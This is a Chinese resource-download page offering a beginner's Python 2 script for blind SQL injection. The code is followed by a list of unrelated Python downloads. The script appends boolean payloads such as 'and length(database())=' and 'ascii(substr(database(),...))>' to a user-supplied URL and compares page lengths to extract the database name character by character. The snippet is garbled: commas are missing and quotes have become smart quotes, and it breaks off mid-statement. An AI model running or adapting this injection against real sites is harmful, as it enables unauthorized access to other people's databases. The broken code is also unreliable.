资源简介
适合刚学python和sql注入的人
import urllib2
import re
代码片段和文件信息
# -*-coding:gbk-*-
import urllib2
import re
url=raw_input(“网址:“)
def getpage(url):
req = urllib2.Request(url)
res = urllib2.urlopen(req)
page = res.read()
return len(page)
sureLen = getpage(url)
def getdblen(urlsureLen):
i = 0
while 1:
i = i + 1
lenurl = url + “+and+length(database())=“ + str(i) + “+--+“
pageLen = getpage(lenurl)
if sureLen == pageLen:
return i
dblen = getdblen(urlsureLen)
print “dbname length is :“dblen
ls = “aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa!‘#$%&‘()*+-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\]^_‘abcdefghijklmnopqrstuvwxyz{|}~“
def getdbname(urllssureLendblen):
dbName = ““
for i in range(1dblen+1):
j = 96
k = 128
fullUrl=url + “+and+ascii(substr(database()“+str(i)+“1))>“+str(j)+“--+“
print fullUrl
pageLen = getpage(fullUrl)
if sureLen == pageLen:
j = 111
fullUrl=url + “+and+ascii(substr(database()“+str(i)+“1))>“+str(j)+“--+“
print fullUrl
pageLen = getpage(fullUrl)
if sureLen == pageLen:
j = 119
fullUrl=url + “+and+ascii(substr(database()“+str(i)+“1))>“+str(j)+“--+“
print fullUrl
pageLen = getpage(fullUrl)
if sureLen == pageLen:
j = 123
fullUrl=url + “+and+ascii(substr(database()“+str(i)+“1))>“+str(j)+“--+“
print fullUrl
pageLen = getpage(fullUrl)
if sureLen == pageLen:
j = 125
fullUrl=url + “+and+ascii(substr(database()“+str(i)+“1))>“+str(j)+“--+“
print fullUrl
pageLen = getpage(fullUrl)
if sureLen == pageLen:
for u in range(126127):
fullUrl=url + “+and+ascii(substr(database()“+str(i)+“1))=“+str(u)+“--+“
print fullUrl
pageLen = getpage(fullUrl)
if sureLen == pageLen:
dbName += ls[u]
break
else:
for u in range(124126):
fullUrl=url + “+and+ascii(substr(database()“+str(i)+“1))=“+str(u)+“--+“
print fullUrl
pageLen = getpage(fullUrl)
if sureLen == pageLen:
dbName += ls[u]
break
else:
j = 121
fullUrl=url + “+and+ascii(substr(database()“
- 上一篇:python基础代码大全
- 下一篇:kmeans实现iris数据集分类
相关资源
- Python-BDD100K大规模多样化驾驶视频数据
- Instant Pygame for Python Game Development How
- Biopython Tutorial
- Think Python 2nd
- 一个小小的表白程序(python)
- Python课堂笔记(高淇400集第一季)
- 二级考试python试题12套(包括选择题和
- pywin32_python3.6_64位
- python+ selenium教程
- PycURL(Windows7/Win32)Python2.7安装包 P
- 英文原版-Scientific Computing with Python
- 7.图像风格迁移 基于深度学习 pyt
- 基于Python的学生管理系统
- A Byte of Python(简明Python教程)(第
- Python实例174946
- Python 人脸识别
- Python 人事管理系统
- 基于python-flask的个人博客系统
- 计算机视觉应用开发流程
- python 调用sftp断点续传文件
- python socket游戏
- 基于Python爬虫爬取天气预报信息
- python函数编程和讲解
- Python开发的个人博客
- 基于python的三层神经网络模型搭建
- python实现自动操作windows应用
- python人脸识别(opencv)
- python 绘图(方形、线条、圆形)
- python疫情卡UN管控
- python 连连看小游戏源码
评论
共有 条评论